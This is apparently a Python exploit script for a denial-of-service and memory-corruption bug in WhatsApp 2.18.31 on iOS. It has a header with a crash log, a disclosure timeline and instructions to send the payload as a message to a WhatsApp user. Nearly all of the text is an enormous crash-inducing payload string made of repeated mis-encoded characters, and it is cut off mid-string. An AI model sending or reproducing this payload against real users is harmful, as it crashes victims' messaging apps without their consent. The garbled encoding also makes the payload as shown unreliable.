#!/usr/bin/env python # -*- coding: utf-8 -*- # Exploit Author: Juan Sacco at Exploit Pack - http://www.exploitpack.com # This vulnerability has been discovered and exploited using Exploit Pack - Framework # # Tested on: iPhone 5/6s/X iOS 10 and 11.3 ( Latest release of iOS at the date of writing this code ) # # Description: # WhatsApp 2.18.31 and prior are affected. The application fails to properly filter user-supplied input and its prone to a remote memory corruption. # # Impact: # Resource exhaustion attacks exploit a design flaw. An attacker could exploit this vulnerability to remotely corrupt the memory of the application forcing an uhandled exception # in the context of the application that could potentially result in a denial-of-service condition and/or remote memory corruption. # # Debug: # B04500954836","name":"WhatsApp"} # Date/Time: 2018-04-06 18:15:30.608135 +0200 # OS Version: iPhone OS 11.2.6 (Build 15D100) # Architecture: arm64 # Report Version: 19 # Command: WhatsApp # Path: /private/var/containers/Bundle/Application/2F86B692-D9A3-4BAC-B45E-6DCF62F47C2C/WhatsApp.app/WhatsApp # Version: 2.18.31 (2.18.31.32) # Beta Identifier: 4CA20191-C4A3-4920-ADEB-9ABAD10FCDF7 # Parent: launchd [1] # PID: 28010 # Event: cpu usage # CPU: 144s cpu time over 145 seconds (99% cpu average), exceeding limit of 80% cpu over 180 seconds # Action taken: Process killed # Duration: 144.81s # Steps: 48 # Hardware model: iPhone7,1 # Exception Type: EXC_CRASH (SIGKILL) # # How to use this exploit: # Send the payload as a message to a whatsapp user, trough a phone or whatsapp-web. # # Timeline: # Date and time of release: 6 April 2018 # Triaged by Facebook: 25 April 2018 # Reported to Apple ( it's a bug on their side ): 01 May 2018 # Vendor homepage: http://www.whatsapp.com / http://www.facebook.com import sys reload(sys) def whatsapp(filename): sys.setdefaultencoding("utf-8") payload = u'a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a!a! a!!a!C/a!PSa!$?a!Y=a!|a!SSa!"a!(c)a!aa!<>a!1/4a!1/2a!3/4a!?aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/ aC/!aC/C/aC/PSaC/$?aC/Y=aC/|aC/SSaC/"aC/(c)aC/aaC/<>aC/1/4aC/1/2aC/3/4aC/?aPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPS aPS!aPSC/aPSPSaPS$?aPSY=aPS|aPSSSaPS"aPS(c)aPSaaPS<>aPS1/4aPS1/2aPS3/4aPS?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$? a$?!a$?C/a$?PSa$?$?a$?Y=a$?|a$?SSa$?"a$?(c)a$?aa$?<>a$?1/4a$?1/2a$?3/4a$??aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY= aY=!aY=C/aY=PSaY=$?aY=Y=aY=|aY=SSaY="aY=(c)aY=aaY=<>aY=1/4aY=1/2aY=3/4aY=?a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a| a|!a|C/a|PSa|$?a|Y=a||a|SSa|"a|(c)a|aa|<>a|1/4a|1/2a|3/4a|?aSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSS aSS!aSSC/aSSPSaSS$?aSSY=aSS|aSSSSaSS"aSS(c)aSSaaSS<>aSS1/4aSS1/2aSS3/4aSS?a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a" a"!a"C/a"PSa"$?a"Y=a"|a"SSa""a"(c)a"aa"<>a"1/4a"1/2a"3/4a"?a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c) a(c)!a(c)C/a(c)PSa(c)$?a(c)Y=a(c)|a(c)SSa(c)"a(c)(c)a(c)aa(c)<>a(c)1/4a(c)1/2a(c)3/4a(c)?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aa!aaC/aaPSaa$?aaY=aa|aaSSaa"aa(c)aaaaa<>aa1/4aa1/2aa3/4aa?a<>a<<1/4a<<1/2a<<3/4a<>a!1/4a!1/2a!3/4a!?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a!aC/aPSa$?aY=a|aSSa"a(c)aaa<>a1/4a1/2a3/4a?a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r) a(r)!a(r)C/a(r)PSa(r)$?a(r)Y=a(r)|a(r)SSa(r)"a(r)(c)a(r)aa(r)<>adeg1/4adeg1/2adeg3/4adeg?a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+- a+-!a+-C/a+-PSa+-$?a+-Y=a+-|a+-SSa+-"a+-(c)a+-aa+-<>a!1/4a!1/2a!3/4a!?aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/ aC/!aC/C/aC/PSaC/$?aC/Y=aC/|aC/SSaC/"aC/(c)aC/aaC/<>aC/1/4aC/1/2aC/3/4aC/?aPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPS aPS!aPSC/aPSPSaPS$?aPSY=aPS|aPSSSaPS"aPS(c)aPSaaPS<>aPS1/4aPS1/2aPS3/4aPS?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$? a$?!a$?C/a$?PSa$?$?a$?Y=a$?|a$?SSa$?"a$?(c)a$?aa$?<>a$?1/4a$?1/2a$?3/4a$??aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY= aY=!aY=C/aY=PSaY=$?aY=Y=aY=|aY=SSaY="aY=(c)aY=aaY=<>aY=1/4aY=1/2aY=3/4aY=?a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a| a|!a|C/a|PSa|$?a|Y=a||a|SSa|"a|(c)a|aa|<>a|1/4a|1/2a|3/4a|?aSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSS aSS!aSSC/aSSPSaSS$?aSSY=aSS|aSSSSaSS"aSS(c)aSSaaSS<>aSS1/4aSS1/2aSS3/4aSS?a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a" a"!a"C/a"PSa"$?a"Y=a"|a"SSa""a"(c)a"aa"<>a"1/4a"1/2a"3/4a"?a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c) a(c)!a(c)C/a(c)PSa(c)$?a(c)Y=a(c)|a(c)SSa(c)"a(c)(c)a(c)aa(c)<>a(c)1/4a(c)1/2a(c)3/4a(c)?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aa!aaC/aaPSaa$?aaY=aa|aaSSaa"aa(c)aaaaa<>aa1/4aa1/2aa3/4aa?a<>a<<1/4a<<1/2a<<3/4a<>a!1/4a!1/2a!3/4a!?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a!aC/aPSa$?aY=a|aSSa"a(c)aaa<>a1/4a1/2a3/4a?a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r) a(r)!a(r)C/a(r)PSa(r)$?a(r)Y=a(r)|a(r)SSa(r)"a(r)(c)a(r)aa(r)<>adeg1/4adeg1/2adeg3/4adeg?a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+- a+-!a+-C/a+-PSa+-$?a+-Y=a+-|a+-SSa+-"a+-(c)a+-aa+-<>a!1/4a!1/2a!3/4a!?aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/ aC/!aC/C/aC/PSaC/$?aC/Y=aC/|aC/SSaC/"aC/(c)aC/aaC/<>aC/1/4aC/1/2aC/3/4aC/?aPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPS aPS!aPSC/aPSPSaPS$?aPSY=aPS|aPSSSaPS"aPS(c)aPSaaPS<>aPS1/4aPS1/2aPS3/4aPS?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$? a$?!a$?C/a$?PSa$?$?a$?Y=a$?|a$?SSa$?"a$?(c)a$?aa$?<>a$?1/4a$?1/2a$?3/4a$??aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY= aY=!aY=C/aY=PSaY=$?aY=Y=aY=|aY=SSaY="aY=(c)aY=aaY=<>aY=1/4aY=1/2aY=3/4aY=?a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a| a|!a|C/a|PSa|$?a|Y=a||a|SSa|"a|(c)a|aa|<>a|1/4a|1/2a|3/4a|?aSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSS aSS!aSSC/aSSPSaSS$?aSSY=aSS|aSSSSaSS"aSS(c)aSSaaSS<>aSS1/4aSS1/2aSS3/4aSS?a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a" a"!a"C/a"PSa"$?a"Y=a"|a"SSa""a"(c)a"aa"<>a"1/4a"1/2a"3/4a"?a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c) a(c)!a(c)C/a(c)PSa(c)$?a(c)Y=a(c)|a(c)SSa(c)"a(c)(c)a(c)aa(c)<>a(c)1/4a(c)1/2a(c)3/4a(c)?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aa!aaC/aaPSaa$?aaY=aa|aaSSaa"aa(c)aaaaa<>aa1/4aa1/2aa3/4aa?a<>a<<1/4a<<1/2a<<3/4a<>a!1/4a!1/2a!3/4a!?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a!aC/aPSa$?aY=a|aSSa"a(c)aaa<>a1/4a1/2a3/4a?a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r) a(r)!a(r)C/a(r)PSa(r)$?a(r)Y=a(r)|a(r)SSa(r)"a(r)(c)a(r)aa(r)<>adeg1/4adeg1/2adeg3/4adeg?a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+- a+-!a+-C/a+-PSa+-$?a+-Y=a+-|a+-SSa+-"a+-(c)a+-aa+-<>a!1/4a!1/2a!3/4a!?aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/ aC/!aC/C/aC/PSaC/$?aC/Y=aC/|aC/SSaC/"aC/(c)aC/aaC/<>aC/1/4aC/1/2aC/3/4aC/?aPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPS aPS!aPSC/aPSPSaPS$?aPSY=aPS|aPSSSaPS"aPS(c)aPSaaPS<>aPS1/4aPS1/2aPS3/4aPS?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$? a$?!a$?C/a$?PSa$?$?a$?Y=a$?|a$?SSa$?"a$?(c)a$?aa$?<>a$?1/4a$?1/2a$?3/4a$??aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY= aY=!aY=C/aY=PSaY=$?aY=Y=aY=|aY=SSaY="aY=(c)aY=aaY=<>aY=1/4aY=1/2aY=3/4aY=?a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a| a|!a|C/a|PSa|$?a|Y=a||a|SSa|"a|(c)a|aa|<>a|1/4a|1/2a|3/4a|?aSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSS aSS!aSSC/aSSPSaSS$?aSSY=aSS|aSSSSaSS"aSS(c)aSSaaSS<>aSS1/4aSS1/2aSS3/4aSS?a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a" a"!a"C/a"PSa"$?a"Y=a"|a"SSa""a"(c)a"aa"<>a"1/4a"1/2a"3/4a"?a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c) a(c)!a(c)C/a(c)PSa(c)$?a(c)Y=a(c)|a(c)SSa(c)"a(c)(c)a(c)aa(c)<>a(c)1/4a(c)1/2a(c)3/4a(c)?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aa!aaC/aaPSaa$?aaY=aa|aaSSaa"aa(c)aaaaa<>aa1/4aa1/2aa3/4aa?a<>a<<1/4a<<1/2a<<3/4a<>a!1/4a!1/2a!3/4a!?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a!aC/aPSa$?aY=a|aSSa"a(c)aaa<>a1/4a1/2a3/4a?a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r) a(r)!a(r)C/a(r)PSa(r)$?a(r)Y=a(r)|a(r)SSa(r)"a(r)(c)a(r)aa(r)<>adeg1/4adeg1/2adeg3/4adeg?a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+- a+-!a+-C/a+-PSa+-$?a+-Y=a+-|a+-SSa+-"a+-(c)a+-aa+-<>a!1/4a!1/2a!3/4a!?aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/aC/ aC/!aC/C/aC/PSaC/$?aC/Y=aC/|aC/SSaC/"aC/(c)aC/aaC/<>aC/1/4aC/1/2aC/3/4aC/?aPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPSaPS aPS!aPSC/aPSPSaPS$?aPSY=aPS|aPSSSaPS"aPS(c)aPSaaPS<>aPS1/4aPS1/2aPS3/4aPS?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$?a$? a$?!a$?C/a$?PSa$?$?a$?Y=a$?|a$?SSa$?"a$?(c)a$?aa$?<>a$?1/4a$?1/2a$?3/4a$??aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY=aY= aY=!aY=C/aY=PSaY=$?aY=Y=aY=|aY=SSaY="aY=(c)aY=aaY=<>aY=1/4aY=1/2aY=3/4aY=?a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a|a| a|!a|C/a|PSa|$?a|Y=a||a|SSa|"a|(c)a|aa|<>a|1/4a|1/2a|3/4a|?aSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSSaSS aSS!aSSC/aSSPSaSS$?aSSY=aSS|aSSSSaSS"aSS(c)aSSaaSS<>aSS1/4aSS1/2aSS3/4aSS?a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a"a" a"!a"C/a"PSa"$?a"Y=a"|a"SSa""a"(c)a"aa"<>a"1/4a"1/2a"3/4a"?a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c)a(c) a(c)!a(c)C/a(c)PSa(c)$?a(c)Y=a(c)|a(c)SSa(c)"a(c)(c)a(c)aa(c)<>a(c)1/4a(c)1/2a(c)3/4a(c)?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aa!aaC/aaPSaa$?aaY=aa|aaSSaa"aa(c)aaaaa<>aa1/4aa1/2aa3/4aa?a<>a<<1/4a<<1/2a<<3/4a<>a!1/4a!1/2a!3/4a!?aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa a!aC/aPSa$?aY=a|aSSa"a(c)aaa<>a1/4a1/2a3/4a?a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r)a(r) a(r)!a(r)C/a(r)PSa(r)$?a(r)Y=a(r)|a(r)SSa(r)"a(r)(c)a(r)aa(r)<>adeg1/4adeg1/2adeg3/4adeg?a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+-a+- a+-!a+-C/a+-PSa+-$?a+-Y=a+-|a+-SSa+-"a+-(c)a+-aa+-<